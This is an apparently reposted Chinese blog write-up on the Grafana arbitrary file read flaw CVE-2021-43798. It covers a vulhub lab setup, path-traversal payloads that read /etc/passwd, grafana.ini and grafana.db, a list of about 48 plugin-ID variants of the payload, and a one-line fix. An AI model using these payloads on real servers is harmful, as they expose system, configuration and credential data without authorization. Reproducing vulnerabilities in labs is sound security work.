Grafana任意文件读取漏洞(CVE-2021-43798)

Posted chaojixiaojingang

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Grafana任意文件读取漏洞(CVE-2021-43798)相关的知识,希望对你有一定的参考价值。

1.漏洞描述

        Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后,Grafana可以在网络浏览器里显示数据图表和警告。未授权的攻击者利用该漏洞,能够获取服务器敏感文件。

2.影响版本

Grafana 8.0.0 - 8.3.0

3.漏洞环境搭建

更新vulhub目录,进入vulhub/grafana/CVE-2021-43798

docker-compose up –d #下载安装漏洞镜像

访问目标3000端口

4.漏洞复现

访问登陆页面,使用burp抓包,修改成payload

/public/plugins/gettingstarted/../../../../../../../../../../../../../../../etc/passwd

读取Grafana配置文件

/public/plugins/gettingstarted/../../../../../../../../../../../../../../../etc/grafana/grafana.ini

读取Grafana数据库

/public/plugins/gettingstarted/../../../../../../../../../../../../../../../var/lib/grafana/grafana.db

        gettingstarted是插件ID,Grafana默认安装的就有。也可以改成别的插件ID,其他师傅fuzz的插件清单https://github.com/jas502n/Grafana-CVE-2021-43798/blob/main/README.md

/public/plugins/alertGroups/../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/alertmanager/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/canvas/../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../etc/passwd
/public/plugins/dashboard/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/debug/../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/public/plugins/grafana/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../etc/passwd
/public/plugins/live/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../etc/passwd
/public/plugins/mixed/../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/xychart/../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../etc/passwd

 

5.修复建议

升级Grafana至最新版本。

以上是关于Grafana任意文件读取漏洞(CVE-2021-43798)的主要内容,如果未能解决你的问题,请参考以下文章

CVE-2021-43798——Grafana 未授权任意文件读取

一次渗透测试实战

CVE-2021-36749——Apache Druid LoadData 任意文件读取漏洞

CVE-2021-40116|CVE-2021-34783等——Cicso多个安全漏洞

VMware vCenter Server任意文件上传漏洞(CVE-2021-22005)复现

Atlassian Confluence漏洞复现合集